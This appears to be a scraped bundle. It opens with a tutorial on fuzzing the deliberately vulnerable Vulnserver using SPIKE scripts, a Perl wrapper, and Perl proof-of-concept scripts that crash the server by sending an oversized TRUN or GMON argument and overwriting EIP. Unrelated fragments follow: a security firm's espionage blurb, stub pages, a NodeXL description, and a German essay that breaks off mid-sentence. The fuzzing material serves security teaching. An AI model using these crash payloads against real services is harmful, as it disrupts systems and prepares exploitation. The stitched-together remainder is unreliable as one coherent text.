December 14th, 2010|By: Stephen Bradshaw|Topics: |1 Comment

_This is continued from the previously postedIntroduction to Fuzzing article._

**Automating the SPIKE Fuzzing of Vulnserver**  

What we need is a way to send multiple SPIKES, one after the other, while
recording enough detail for us to see what is being sent, and for our fuzzing
process to stop when a crash is generated in the program. This will allow us
to take note of the input that caused the crash \(should one occur\), and then
to restart our program and start fuzzing once more, hopefully continuing on
from where we left off.  

Luckily, with a few modifications to our fuzzing process, we can do just that.
Here is a high level overview of how we will approach the rest of this fuzzing
task.  

  1. We create .spk files for each of the messages that we want to fuzz. In this case, we will create .spk files for each supported command, such as STATS, RTIME, etc. We will also give these SPIKE scripts consecutive file names and add some extra commands into the script so we get some additional terminal output from SPIKE.  

  2. We then create a wrapper program that will run each of the .spk files using the generic\_send\_tcp interpreter. Ideally, the wrapper program will allow us to start at any one of the provided SPIKE script files, and will stop and provide us some helpful information when generic\_send\_tcp starts sending to a closed socket \(indicating that the program it is sending data to has failed\).  

  3. With this basic framework setup, we can then repeat the following steps until we are finished fuzzing:  

  * Start our program in the debugger and start a fresh packet capture in Wireshark  

  * Run our wrapper program from the last place we left off, which will start running SPIKE scripts directed at our target program until it crashes.  

  * When the wrapper program stops, we can check the status of the program in the debugger, the command line output from the wrapper program and the packet capture generated by Wireshark to determine what input caused the crash.  

  * Once we identify the data that we think caused the crash, we can plug this into a skeleton exploit, which we will run against the target program to see if the crash can be easily reproduced.  

  * Repeat until our fuzzing process is complete.  

Lets start off by creating the appropriate SPIKE script files. Create a new
directory on your Linux fuzzing system, and place the following text into
“00help.spk”  

printf\(“HELP 00help.spk : “\); //print to terminal command and filename  

s\_readline\(\); //print received line from server  

s\_string\(“HELP “\); // send “HELP ” to program  

s\_string\_variable\(“COMMAND”\); //send fuzzed string  

We have added a few new lines to this SPIKE file when compared to the last one
we created. The printf command at the start is essentially just using the
printf function from the C language to print some text to the terminal. This
text will be used to identify the command that was being fuzzed at the time if
the fuzzing process happens to halt on this script. We stick the command we
are fuzzing and the filename of the script file in the text inside the
brackets. The next new command, s\_string adds a static string of “HELP ” to
the SPIKE sent \(take note of the space after HELP – that is important so that
our fuzz string is separated from the HELP command by a space\).  

The overall purpose of this script is to insert a fuzzed string into the
parameter for the HELP command in Vulnserver, while providing us enough
contextual data to see what is happening when we run it.  

We are going to use this basic template to create SPIKE scripts for each of
the supported commands in Vulnserver, so we can fuzz each one. Consult the
listing of supported commands that we obtained during the analysis stage to
get the commands to add, and use consecutive numbering for the start of each
file name, e.g. 01stats.spk, 02rtime.spk, 03ltime.spk. The consecutive file
naming is there just so we can define the order in which the commands will be
fuzzed when we create our wrapper program, and to give us a simple way to see
where we are up to if the fuzzing process stops.  

In case you don’t remember the supported commands that we discovered during
our protocol analysis session, here they are again.  

HELP  

STATS \[stat\_value\]  

RTIME \[rtime\_value\]  

LTIME \[ltime\_value\]  

SRUN \[srun\_value\]  

TRUN \[trun\_value\]  

GMON \[gmon\_value\]  

GDOG \[gdog\_value\]  

KSTET \[kstet\_value\]  

GTER \[gter\_value\]  

HTER \[hter\_value\]  

LTER \[lter\_value\]  

KSTAN \[lstan\_value\]  

EXIT  

As another example of how to generate SPIKE scripts to fuzz parameters for
these commands, here is what my copy of the SPIKE script for the STATS command
\(01stats.spk\) looks like.  

printf\(“STATS 01stats.spk : “\); //print to terminal command and filename  

s\_readline\(\); //print received line from server  

s\_string\(“STATS “\); // send “STATS ” to program  

s\_string\_variable\(“COMMAND”\); //send fuzzed string  

Now create one of these for each of the other commands. When you are done, you
should have the following files in your folder. For best results in following
along with this guide, try and ensure that your SPIKE files for each of these
supported commands are named consecutively in the same order as mine below.
This is not because there is any inherent benefit in fuzzing the commands in
this particular order, it’s just so that you get the same results as I do, at
the same time.  

root@bt4r1vm:~/fuzzing\# ls \*.spk  

00help.spk 03ltime.spk 06gmon.spk 09gter.spk 12kstan.spk  

01stats.spk 04srun.spk 07gdog.spk 10hter.spk 13exit.spk  

02rtime.spk 05trun.spk 08kstet.spk 11lter.spk  

Now that we have our SPIKE script files, we need a wrapper program to easily
run them with. Something like the following will suffice.  

\#\!/usr/bin/perl  

\# Simple wrapper to run multiple .spk files using generic\_send\_tcp  

$spikese = ‘/pentest/fuzzers/spike/generic\_send\_tcp’;  

if \($ARGV\[4\] eq ”\) \{  

die\(“Usage: $0 IP\_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR\n\n”\);  

\}  

$skipfiles = $ARGV\[2\];  

@files = <\*.spk>;  

foreach $file \(@files\) \{  

if \(\! $skipfiles\) \{  

if \(system\(“$spikese $ARGV\[0\] $ARGV\[1\] $file $ARGV\[3\] $ARGV\[4\]“\) \)
\{  

print “Stopped processing file $file\n”;  

exit\(0\);  

\}  

\} else \{  

$skipfiles–;  

\}  

\}  

This wrapper program will find each file with a filename ending in .spk in the
present working directory, and will run generic\_send\_tcp using that file as
an input script file and the values provided at the command line for the IP
address, port and SKIPVAR and SKIPSTR variables. In addition, it will also
allow you to provide a value for a variable SKIPFILE, unique to this wrapper
script, which will let you skip over a certain number of .spk files in the
current directory. Since the wrapper program will read the .spk files in the
same order each time \(assuming their file names stay the same\), this will
let you skip over commands/script files you have already fuzzed if you need to
restart your session.  

If you are not using BackTrack for your Linux fuzzing system you will need to
change the path to the generic\_send\_tcp command in the wrapper program to
the location where this sits on your system. You will also need to make sure
you have followed my instructions provided in the **Requirements and System
Setup** section on how to modify SPIKE to terminate with a non zero return
value when it cannot send to a socket. If this is not done generic\_send\_tcp
will happily continue trying to send data to a closed session until it
completes execution, and this wrapper program depends on it stopping when it
can no longer send, so make sure you do this.  

Write the content above to fuzzer.pl on your Linux fuzzing system and mark the
file as executable \(chmod +x\).  

Restart your packet capture in Wireshark \(**_Capture_** menu->
**_Restart_**\), clear any Display filters in Wireshark using the **_Clear_**
button, and ensure Vulnserver is running in the debugger on our target system.
Now we are ready to do some more fuzzing. To see how to use the wrapper
program, run it with no parameters like so:  

root@bt4r1vm:~/fuzzing\# ./fuzzer.pl  

Usage: ./fuzzer.pl IP\_ADDRESS PORT SKIPFILE SKIPVAR SKIPSTR  

To start our fuzzing session against Vulnserver running on a system at IP
address 192.168.56.101 port 9999, run the fuzzer.pl like so:  

root@bt4r1vm:~/fuzzing\# ./fuzzer.pl 192.168.56.101 9999 0 0 0  

This should start running, spraying a large amount of data to the terminal. If
you let this run for long enough you should eventually see the program
terminate, ending with output something like the below. What that final line
is telling you is that the wrapper script has stopped, while processing the
SPIKE script file 05trun.spk. If you look at the lines leading up to our final
line of output, you should also notice something missing – the Welcome message
has not been printed to the terminal in response to a number of the SPIKES
that were sent just before this terminated.  

Fuzzing Variable 0:200  

TRUN 05trun.spk : Variablesize= 10000  

Fuzzing Variable 0:201  

TRUN 05trun.spk : Variablesize= 5000  

Fuzzing Variable 0:202  

Couldn’t tcp connect to target  

Stopped processing file 05trun.spk  

Scroll up in the terminal until you see the Welcome message. You should see it
appear at the point where the terminal output looks something like the below.  

\{…SNIP…\}  

Total Number of Strings is 681  

Fuzzing  

Fuzzing Variable 0:0  

TRUN 05trun.spk : line read=Welcome to Vulnerable Server\! Enter HELP for
help.  

Fuzzing Variable 0:1  

TRUN 05trun.spk : line read=Welcome to Vulnerable Server\! Enter HELP for
help.  

Variablesize= 5004  

Fuzzing Variable 0:2  

TRUN 05trun.spk : Variablesize= 5005  

Fuzzing Variable 0:3  

TRUN 05trun.spk : Variablesize= 21  

\{…SNIP…\}  

You can see from the output above that the last time the Welcome message was
printed to the terminal was just after the line “Fuzzing Variable 0:1″
appeared. Apparently, after this particular fuzz string from the file
05trun.spk was sent to the application, it was no longer able to send a
Welcome message.  

If you now check the debugger, you should see something like the following.  

<img src='img/Temp2_3343.png' />  

The debugger shows us that the program has experienced an access violation
when executing \[41414141\], and that the EIP register is pointing to
41414141. We seem to have found a bug in the Vulnserver program, which based
on the output shown in our terminal is associated with the TRUN command \(you
can see the TRUN text sprayed to the terminal in the output from fuzzer.pl,
plus this is the command in the 05trun.spk file\).  

How do we know what content was actually sent by the fuzzer to generate this
crash though? To find out, we can check our Wireshark capture.  

Go to the Wireshark capture and select the last packet. Now open the
**_Edit_** menu and select the **_Find Packet_** option. Select the **_Up_**
radio button in the Direction section of the Find Packet window, and select
the **_String_** radio button in the Find section and search for the string
“Welcome”. This will allow us to find the last session in which the Welcome
message was sent to the client system.  

<img src='img/Temp2_3340.png' />  

Hit **_Find_** , and on the first packet that is found right click and select
**_Follow TCP Steam_**. You should then see something like the below.  

<img src='img/Temp2_3339.png' />  

A TRUN command, followed by a few other random characters and an extremely
long string of “A” characters.  

If you use the pull down box at the bottom of the Follow TCP Stream window to
show only the data sent from the target system \(it should be highlighted in
Blue\), you should also note that while a Welcome message was sent, there was
no other data – e.g. no response to the TRUN command.  

<img src='img/Temp2_3342.png' />  

Considering that the last Welcome message that was sent by the server was in
this session, and that no reply was made to the TRUN command shown above, it
looks like this TRUN command was the cause of the crash. \(There is also a
clue that points to this fact in the debugger output – did you spot it?\)  

Use the pull down box at the bottom of the Follow TCP Stream window to show
only the data sent from our fuzzing system \(it’s in red\), and use the Save
As button to save this content to disk – I’m saving it to /tmp/trun-data.txt.  

<img src='img/Temp2_3344.png' />  

Now that we have a copy of the content that we think caused the crash, lets
try just sending that data to the application, to see if the crash happens
again. Vulnserver is currently not responding because of the previous crash we
caused, so lets restart it to get it working again. In Ollydbg on your target
system, use the **_Restart_** option in the **_Debug_** menu to restart
Vulnserver, and then hit the **_F9_** key \(or **_Debug_** menu, **_Run_** or
the **_Play_** button on the toolbar\) to start it running again. Restart your
Wireshark capture as well \(**_Capture_** menu, **_Restart_**\) and clear any
Display filters in place \(using the **_Clear_** button on the display filter
toolbar\).  

From looking at the content sent along with the TRUN command by SPIKE, it
appeared to be just a long string of “A” characters with a few other
characters tacked onto the start. Lets use sed on our Linux system to replace
the A characters with nothing so we can clearly see what characters other than
“A” are included in this message.  

root@bt4r1vm:~/fuzzing\# sed ‘s/A//g’ /tmp/trun-data.txt  

TRUN /.:/root@bt4r1vm:~/fuzzing\#  

The text “TRUN /.:/” appears to be the only thing in this other than upper
case “A” characters. \(Here the following shell prompt is attached to the back
of the characters from the trun-data.txt file, indicating that no newline
character is included in the file\) Lets now run the output from this sed
command into the wc with the character counting option enabled \(-m\) to see
how long this data is.  

root@bt4r1vm:~/fuzzing\# sed ‘s/A//g’ /tmp/trun-data.txt | wc -m  

9  

This data is 9 characters long. Now lets check the length of the whole file –
including the “A” characters.  

root@bt4r1vm:~/fuzzing\# wc -m /tmp/trun-data.txt  

5009 /tmp/trun-data.txt  

The entire thing is 5009 characters long. Basically the string “TRUN /.:/”
with 5000 “A” characters tacked onto the end.  

We can send this data to the program using the following bit of Perl code,
which I have heavily commented so you can see what is going on.  

\#\!/usr/bin/perl  

use IO::Socket;  

if \($ARGV\[1\] eq ”\) \{  

die\(“Usage: $0 IP\_ADDRESS PORT\n\n”\);  

\}  

$baddata = “TRUN /.:/”; \# sets variable $baddata to “TRUN /.:/”  

$baddata .= “A” x 5000; \# appends \(.=\) 5000 “A” characters to $baddata  

$socket = IO::Socket::INET->new\( \# setup TCP socket – $socket  

Proto => “tcp”,  

PeerAddr => “$ARGV\[0\]“, \# command line variable 1 – IP Address  

PeerPort => “$ARGV\[1\]” \# command line variable 2 – TCP port  

\) or die “Cannot connect to $ARGV\[0\]:$ARGV\[1\]“;  

$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd  

print “$sd”; \# print $sd variable  

$socket->send\($baddata\); \# send $baddata variable via $socket  

This code essentially stores the appropriate fuzz string in variable $baddata,
sets up a TCP socket to the IP address and port specified on the command line,
receives and prints the “Welcome” message via the socket, and sends the fuzz
string to the server.  

Save this code into “trun.pl”, mark the file as executable \(chmod +x
trun.pl\) and run it against your listening copy of Vulnserver.  

root@bt4r1vm:~/fuzzing\# ./trun.pl 192.168.56.101 9999  

Welcome to Vulnerable Server\! Enter HELP for help.  

If you check the debugger on the target system, you should see the same access
violation. We have found an input value that causes a bug in our application\!  

As a very nice bonus, the input we sent has been used to control the value of
a very important register in the CPU – the EIP \(Extended Instruction
Pointer\) register.  

Notice how the EIP register contains the value 41414141?  

<img src='img/Temp2_3338.png' />  

Since the EIP is a 4 byte \(32 bit\) register, the value stored within –
41414141 \(actually the hexadecimal number 0×41414141\) is comprised of four
individual 0×41 hex bytes. And what is the ASCII representation of 0×41? It’s
an upper case “A” character. We can demonstrate this by using Perl to print
out “\x41″.  

root@bt4r1vm:~/fuzzing\# perl -e ‘print “\x41″ . “\n”‘  

A  

So four “A” characters somewhere within that big string of “A” characters we
sent to the application has been used to set the value of this EIP register. I
wont go into the details of why right now, but something like this is a very
good sign if you are looking for exploitable bugs. \(More details on exactly
why this is a good thing will be provided in a future article – for now, you
need to trust me\).  

So now we have found our first bug in the program, we can continue fuzzing the
rest of the input vectors we identified. Restart your Wireshark capture and
Vulnserver in the debugger, and run our wrapper program like so, using the
value 6 for the SKIPFILE variable. This will skip the first 6 SPIKE script
files in our folder, which we have already fuzzed in our previous session, and
will start from number 7, which in our case should be the file 06gmon.spk.  

root@bt4r1vm:~/fuzzing\# ./fuzzer.pl 192.168.56.101 9999 6 0 0  

If you are keeping an eye on the debugger after kicking off this command, you
will notice that a crash occurs almost immediately, yet SPIKE will keep
running for a little while before it eventually stops. The last couple of
lines of output in the terminal will look like the following:  

\{…SNIP…\}  

GMON 06gmon.spk : Variablesize= 10000  

Fuzzing Variable 0:201  

GMON 06gmon.spk : Variablesize= 5000  

Fuzzing Variable 0:202  

Couldn’t tcp connect to target  

Stopped processing file 06gmon.spk  

Looks like one of the fuzzed inputs generated by the 06gmon.spk script has
generated an error in the program. As before, if you want to scroll up in your
terminal you will note that the “Welcome” message stopped being shown a while
back.  

Go to your Wireshark capture and use the **_Edit_** menu, **_Find Packet_**
option search upwards from the last packet for the string “Welcome”, as we did
before, and **_Follow TCP Stream_** from that packet. You should notice
something a little familiar. The content sent to the server that appears to
have caused the crash is the GMON command… followed by a few other random
characters and a long string of “A”s.  

<img src='img/Temp2_3341.png' />  

Lets take a copy of the previous Perl script we used to confirm the bug
associated with the TRUN command, and modify it to do the same for the GMON
command. \(Just replace TRUN with GMON in the first line defining the $baddata
variable\). Take a copy of trun.pl, name it gmon.pl and confirm it contains
the following text:  

\#\!/usr/bin/perl  

use IO::Socket;  

if \($ARGV\[1\] eq ”\) \{  

die\(“Usage: $0 IP\_ADDRESS PORT\n\n”\);  

\}  

$baddata = “GMON /.:/”; \# sets variable $baddata to “GMON /.:/”  

$baddata .= “A” x 5000; \# appends \(.=\) 5000 “A” characters to $baddata  

$socket = IO::Socket::INET->new\( \# setup TCP socket – $socket  

Proto => “tcp”,  

PeerAddr => “$ARGV\[0\]“, \# command line variable 1 – IP Address  

PeerPort => “$ARGV\[1\]” \# command line variable 2 – TCP port  

\) or die “Cannot connect to $ARGV\[0\]:$ARGV\[1\]“;  

$socket->recv\($sd, 1024\); \# Receive 1024 bytes data from $socket, store in
$sd  

print “$sd”; \# print $sd variable  

$socket->send\($baddata\); \# send $baddata variable via $socket  

Mark this file as executable and run it against your instance of Vulnserver
\(ensure you restart it in the debugger first\).  

root@bt4r1vm:~/fuzzing\# ./gmon.pl 192.168.56.101 9999  

Welcome to Vulnerable Server\! Enter HELP for help.  

The crash should occur again. We have found another input value that triggers
a bug in Vulnserver\!  

At this point I will stop with the detailed discussion of this process, as I
assume you most probably understand whats happening by now. I’d encourage you
to continue on your own until you have fuzzed Vulnserver using each of the
SPIKE scripts generated so far, and found the rest of the vulnerabilities in
the program.  

Hopefully the examples provided so far are sufficient to demonstrate to you
how this fuzzing process works, and you can work out how to continue on your
own. As a summary, we essentially use our wrapper script to iterate through
multiple SPIKE scripts in a defined order, and when these discover a bug in
the application, we identify the input that triggered the bug, confirm it
manually, then use our wrapper script to continue on with the next script.  

**Conclusion**  

This guide has demonstrated the process of fuzzing the Vulnserver application
using SPIKE scripts to find potentially exploitable bugs. While we have used
Vulnserver, an application deliberately written to be exploitable, as the
fuzzing target, the general process we have used – where we analyse the
commands supported by the program and the method used to communicate with it,
and then use that knowledge to intelligently probe the program with bad data –
should be applicable to a number of other applications.  

Future Vulnserver related articles will cover how we can actually make use of
each of the the bugs that can be found using fuzzing to write a variety of
different working exploits for Vulnserver.  

Before we finish this article, I will leave you with a few additional
challenges to keep you occupied:  

  1. Use the fuzzing process described above to find the rest of the bugs in Vulnserver. There are at least 4 more, and each is subtly different from the others.  

  2. Can you work out what data _specifically_ needs to be sent to the Vulnserver application in order to trigger each of the discovered bugs? Will a long string of only “A” characters after the associated command trigger it? How long does the string have to be exactly \(does it have to be 5000 characters, or can it be shorter?\) Will another character, instead of all “A”s work instead? Once you find an input vector that causes a crash, playing around with the specific data that you send to it can sometimes change the nature of the crash that results, and some manual attention at this stage can sometimes turn what looks like a non exploitable bug into an exploitable one. Spending some time trying to reproduce the _exact_ strings that will cause these bugs to be triggered may also give you a new appreciation for how well chosen the fuzz strings in SPIKE actually are.  

  3. The process I have followed above utilises some degree of automation, but there is still a lot of manual work involved – restarting the debugged application, performing seperate monitoring so we can determine the input values that triggered the bug, restarting the fuzzing process after it finds a bug, etc. Can we automate this process further? You may want to take a look at the Python based Sulley fuzzing framework…  

  4. The bug associated with the GMON command that we discovered earlier does not overwrite the EIP register with data that we control. Do you think this bug is exploitable? If you want a hint, read up on Structured Exception Handlers \(SEH\) in Windows. Part of successful fuzzing involves being able to recognise which bugs may be exploitable, however being able to do that requires that you actually be able to write exploits – you never truly know if a bug is exploitable until you exploit it. Check back for future guides on Vulnserver to learn more…

# Context » Information Security

**Created:**| _1/8/2013 12:39:29 PM_  
---|---  
**Updated:**| _1/8/2013 12:39:29 PM_  
**Author:**| __  
**Tags:**| _hardware backdoor_  
  

# **C** rouching Tiger, Hidden Dragon, Stolen Data****

Read the white paper

Media reports show that targeted cyber attacks against government and commerce
have been ongoing since at least 2003 and possibly some time before that**.**
By far the largest sponsor of these attacks is the Chinese state**.** This is
not a new problem; it is espionage with a different methodology**.**

These attacks are far from random or indiscriminate**.** They are designed to
steal information that will fulfil a clear set of requirements set by the
Chinese state and furnish them with political, commercial and
security/intelligence information**.** These requirements are carefully and
clearly identified, shared with a number of government departments and
constantly updated**.** There is evidence of worldwide targeting but only a
minority of attacks are identified and fewer still made public**.**

This is a structured program and the main protagonists in China are widely
believed to be the Third Department of the People’s Liberation Army**.** Even
using conservative estimates it is likely that the program employs thousands
of military personnel**.** While the military program may be the most
developed and sophisticated, it is likely that other parts of the Chinese
state and even the private sector may also be carrying out similar
attacks**.**

There are clues to the companies and types of data most at risk**.** In
particular the Five Year Plan1 and the National Outline for Medium and Long
Term S&T Development 2 give detail on the areas in which China intends to
excel and identifies specific technology which the Chinese want to develop or
otherwise acquire**.** Electronics, telecoms, manufacturing, extraction,
energy, biotech, pharmaceuticals, aerospace, space and defence are sectors at
the highest risk, alongside companies and services such as law and accountancy
firms that support them and hold their data**.**

The likely recipients of stolen commercial data are the 117 Chinese State
Owned Enterprises that dominate the economy**.** These companies are closely
linked to the state and the Communist Party which has power over strategy,
senior management and even wages**.** Companies with SOE competitors should be
especially concerned about data security**.**

Two factors make western governments and companies more vulnerable to Chinese
targeted cyber attacks**.** Firstly, there is reluctance for governments and
companies to accuse China directly or take any form of action for fear of
either being isolated politically or being blocked from a lucrative developing
market**.** Secondly, a long term reliance on traditional security products
such as anti-virus, coupled with a lack of education about the threat, leaves
businesses vulnerable to attack and unprepared for any investigations that are
required in the aftermath of a compromise**.**

Context has extensive experience of detecting and investigating targeted
attacks and working with clients to help protect their data**.**

Read the white paper

****

# winappdbg-1.3.pdf \(application/pdf-Objekt\)

**Created:**| _12/5/2009 6:53:31 PM_  
---|---  
**Updated:**| _12/5/2009 6:53:31 PM_  
**Author:**| _wishi_  
**Tags:**| _Debugging reversing_  
  

# c..k..i: Wir halten zusammen, keiner kämpft allein

**Created:**| _4/15/2010 12:54:58 PM_  
---|---  
**Updated:**| _4/15/2010 12:55:12 PM_  
**Author:**| __  
**Tags:**| _bookmark windows security_  
  

### Wir halten zusammen, keiner kämpft allein

@ 09:46 tags asm, download, français, graphics, pe

Finished PE/Packers/Opcodes graphics  
  
As I added Data Directories to the PE infographics, my 3 infographics projects
are now finished:  
PE format  
Packers  
Opcodes  
  
It was fun, hope you like them.

  *[09:46]: 2010-04-07T09:46:00+01:00

# NodeXL - Network Overview Discovery and Exploration in Excel - Microsoft
Research

**Created:**| _12/7/2012 1:14:06 PM_  
---|---  
**Updated:**| _12/7/2012 1:14:06 PM_  
**Author:**| __  
**Tags:**| _network-security_  
  
  

NodeXL: Network Overview, Discovery and Exploration in Excel

NodeXL is a powerful and easy-to-use interactive network visualisation and
analysis tool that leverages the widely available MS Excel application as the
platform for representing generic graph data, performing advanced network
analysis and visual exploration of networks. The tool supports multiple social
network data providers that import graph data \(nodes and edge lists\) into
the Excel spreadsheet.

The tool includes an Excel template for easy manipulation of graph data:<img
src='img/Temp2_5614.png' width='580' height='416' />

NodeXL includes a number of features, summarized in the NodeXL Chart:

<img src='img/Temp2_5612.png' width='596' height='311' />

# Research Overview

The NodeXL team is conducting interdisciplinary research in the following
areas:

|  **Network Analysis Toolkit** Tools to support the study of the social
network structure, social media and other network structures  
---  
|  **** **Sociology** "What are the structures of communication in scientific discussions?" |  **** **User Experience:** **Information Visualization** **** "What are the best UI/UX workflows for network analysis tools?" |  **** **Computer Science:** **Algorithms for Network Analysis** "What are the measures and algorithms needed for understanding networks?  
---|---|---  
#####

Sample networks generated with NodeXL:

<img src='img/Temp2_5613.png' width='261' height='243' />|  <img
src='img/Temp2_5616.png' width='261' height='243' />  
---|---  
Project contributers:

<img src='img/Temp2_5618.png' width='500' height='375' />

More information about the project can be found at
http://www.codeplex.com/NodeXL.

Clustered Graph using Harel-Koren layout in NodeXL

<img src='img/Temp2_5617.png' width='258' height='193' />

NodeXL 'Group-in-a-box' Layout of the Clustered graph<img
src='img/Temp2_5615.png' width='257' height='210' />

  

# Sozialdebatte: Revolution der Tugend | Gesellschaft | ZEIT ONLINE
**Created:**| _12/26/2009 4:12:50 PM_  
---|---  
**Updated:**| _12/26/2009 4:13:12 PM_  
**Author:**| __  
**Tags:**| _opinion_  
  

## Revolution der Tugend

Vom Sozialstaat profitieren die Reichen am meisten. Der Mittelstand hingegen
hat das Nachsehen und wird bald den Aufstand proben.

© dpa

<img src='img/Temp2_7630.jpg' width='540' alt='Star und Masse: Ricky Wilson
von den Kaiser Chiefs nimmt ein Liebesbad' />

Star und Masse: Ricky Wilson von den Kaiser Chiefs nimmt ein Liebesbad

Der Untergang der kommunistischen Staaten in Osteuropa hat den
sozialdemokratischen Sozialstaat westeuropäischer Prägung unter zunehmenden
Druck gesetzt. Und in der Tat: Der westliche Sozialstaat war, historisch
gesehen, in erster Linie eine Maßnahme gegen den Aufstand der Massen, gegen
die kommunistische Gefahr, gegen die drohende totale Enteignung der
vermögenden Klassen. Solange die Angst vor dem Kommunismus akut war, war auch
die Bereitschaft des Bürgertums durchaus vorhanden, in erheblichem Maß Steuern
zu zahlen, um die Massen zu pazifizieren und die kommunistische Gefahr zu
bannen. Der Sozialstaat, wie jeder Staat überhaupt, dient nämlich weder der
Gleichheit noch der Gerechtigkeit, sondern vielmehr der Sicherheit. Und jeder
weiß, dass Sicherheit Geld kostet – manchmal auch viel Geld. Allerdings hat
das Ende des Weltkommunismus bei vielen das Gefühl erzeugt, dass die
Sicherheitslage sich verbessert hat und die Investitionen in die Pazifizierung
der Massen dementsprechend gesenkt werden können.

Ob dies stimmt oder nicht, ist eine empirische Ermessensfrage, die nicht
theoretisch behandelt werden kann. Es stellt sich aber eine andere Frage, die
durchaus von theoretischer Relevanz ist: Gibt es für die vermögenden Klassen
einen anderen Grund, den Sozialstaat zu pflegen, außer der etwas antiquierten
Aufgabe, die kommunistische Revolution zu verhindern? Nun, ich würde sagen,
dass es diesen Grund gibt, denn es ist der Sozialstaat, dem die heutigen
vermögenden Klassen ihr Vermögen verdanken.

ANZEIGE

Wer gern über die Macht des Kapitals spricht, vergisst oft, dass der Staat als
Ort der Macht viel älter ist als der Kapitalismus. Den Staat gab es bereits
vor dem Kapitalismus – und es wird ihn nach dem Kapitalismus aller
Wahrscheinlichkeit nach auch noch geben. Der Staat ist per definitionem
hierarchisch aufgebaut und verfügt über die Mittel, seine Beschlüsse, wenn
nötig gewaltsam, durchzusetzen. Schon deswegen kann der Staat zu keinem Ort
der Gleichheit werden. Der Staat basiert auf Ungleichheit – und erzeugt
Ungleichheit. Allerdings ändert sich die Art der Ungleichheit, die der Staat
erzeugt, entsprechend seiner jeweiligen Beschaffenheit. Der feudale Staat
ermöglichte und förderte zugleich Turnierkämpfe als Mittel der Elitebildung.
Der spätere absolutistische Staat förderte die Fähigkeit zur höfischen Intrige
und zur internationalen Diplomatie. Der kapitalistische Staat hat die
Entstehung des Marktes ermöglicht, die Regeln festgelegt, nach denen der Markt
funktioniert, zwischen rechtmäßigen und kriminellen Methoden der
Kapitalbildung unterschieden und Marktakteure dazu gezwungen, bestimmte
ökonomische Strategien zu verfolgen und andere Strategien zu vermeiden. In
diesem Sinne ist der Markt kein Bereich der individuellen Freiheit, sondern
der Anpassung an die Marktregeln, deren Gültigkeit letztlich vom Staat
bestimmt und garantiert wird.

Nun stellt sich also die Frage: Welche Strategie soll derjenige, der in einem
Sozialstaat lebt, verfolgen, um zu reüssieren? Die Antwort ist eigentlich
allgemein bekannt: Er soll möglichst viele Menschen ansprechen, an möglichst
viele Konsumenten verkaufen – er soll expandieren. Und zu expandieren heißt:
nach unten, in die Basis der sozialen Pyramide hinein zu expandieren, an die
Armen zu appellieren, die zahlreicher sind als die Reichen.

In letzter Zeit redet man viel über den neuen immensen Reichtum der
Superreichen. Auf den Listen mit den Namen dieser Superreichen, die hin und
wieder publiziert werden, finden sich die Namen der Besitzer von Aldi oder
Ikea neben denjenigen der Ölmagnaten aus Saudi-Arabien und Russland. Nun fragt
man sich: Welchen Rohstoff besitzen Deutschland und Schweden, der mit dem Öl
verglichen werden könnte? Dieser Rohstoff ist der Sozialstaat. Denn der
Sozialstaat erzeugt eine riesige Masse von armen, aber nicht völlig verarmten
Konsumenten, die in großer Zahl billige Produkte konsumieren – und somit große
Vermögen entstehen lassen. Das heutige Kapital verkauft den Sozialstaat an ihn
selbst – und verdient dabei in einem Ausmaß, das früher unvorstellbar schien.

Hier verwende ich freilich einen etwas erweiterten Begriff des Sozialstaates.
Dieser Begriff umfasst alle Hilfen, die den Arbeitslosen zur Verfügung
gestellt werden, aber auch alle anderen Maßnahmen, die das Leben der
Arbeiterschaft und anderer vergleichbarer Bevölkerungsschichten erleichtern,
inklusive verschiedener Arten der staatlichen Hilfe in Bereichen des
Erziehungs- und Gesundheitswesens. Dazu gehören auch sämtliche Investitionen
in die Entwicklungsländer, Hilfen zur Seuchen- oder Katastrophenbekämpfung und
so weiter, die durch staatlich oder privat finanzierte und weltweit agierende
Stiftungen und Organisationen geleistet werden. In diesem Sinne kann man heute
von einem globalen Sozialstaat sprechen. Dieser Staat bleibt freilich mehr als
unvollkommen, ist aber zugleich in einigen seiner zentralen Aspekte bereits
Realität. Nun schafft diese weltweite soziale Fürsorge eine riesige Masse von
Konsumenten, die zwar arm sind und manchmal am Rand des Existenzminimums
leben, die aber, dank des Sozialstaates, an diesem Rand bleiben und
zusammengefasst eine immense Kaufkraft besitzen. Und es ist diese kumulative
Kaufkraft der Armen, welche die Marktwirtschaft zu dem gemacht hat, was sie
heute ist.

MEHR ZUM THEMA

  * **KLASSENKAMPF \(2\)** Das Elend ist konkret
  * **DER NEUE KLASSENKAMPF** Die Würde der Armut

In früheren Zeiten bediente die Wirtschaft in erster Linie die vermögenden
Klassen. Wer kein Geld hatte, konsumierte kaum, sondern produzierte nur.
Kaufleute wurden reich, wenn sie an Reiche verkauften. Wer an Arme verkaufte,
blieb bescheiden. In unserer Zeit sind aber nur diejenigen wirklich
erfolgreich, die möglichst billig und an möglichst viele verkaufen. So
entsteht eine Konkurrenz nach unten, welche die ganze heutige Weltwirtschaft
beherrscht. Das gilt nicht nur für McDonald’s oder neue chinesische Produkte
für den billigen Massenkonsum. Die globale Kulturindustrie setzt in erster
Linie auf möglichst billige Unterhaltung, auf Erfolg bei den, sagen wir ruhig,
untersten Einkommensschichten. Auf diese Weise kann man Millionen und sogar
Milliarden verdienen – durch Fußball, Popmusik, populäre TV-Shows,
Unterhaltungsfilme et cetera. Und das bedeutet: Zwischen den heutigen globalen
Geldeliten und den heutigen globalisierten Massen gibt es zwar eine
finanzielle, aber keine kulturelle Distanz.Wenn ein globaler Popstar in die
Menschenmenge ruft:  _I love you_ , dann ist er völlig aufrichtig. Er liebt
diese Massen, weil er sie melkt, und diese Massen lieben ihn, weil sie es
offensichtlich genießen, gemolken zu werden. Ein Klassenkampf von oben ist
daher aus simplen ökonomischen und kulturellen Gründen völlig ausgeschlossen.
Die heutigen Geldeliten leben in einem symbiotischen Verhältnis mit dem
Sozialstaat, sie teilen seine Kultur und sind mit ihm in gegenseitiger Liebe
verbunden.

Die Unzufriedenheit mit dem Sozialstaat ist keine Sache der Eliten oder der
Massen, sondern eine der Mittelschicht. Die Mittelschicht zahlt Steuern, aber
sie profitiert kaum vom Sozialstaat – das tun nur die großen Unternehmen.
Zugleich hat die heutige Mittelschicht das Gefühl, dass sich niemand um sie
kümmert und niemand sie wirklich ernst nimmt. Sie hat nämlich andere
kulturelle Ansprüche und Standards als diejenigen, die für die heutigen
globalisierten Massen und Eliten charakteristisch sind. Aber diese Ansprüche
können im Kontext der heutigen Wirtschaft nicht befriedigt werden, denn die
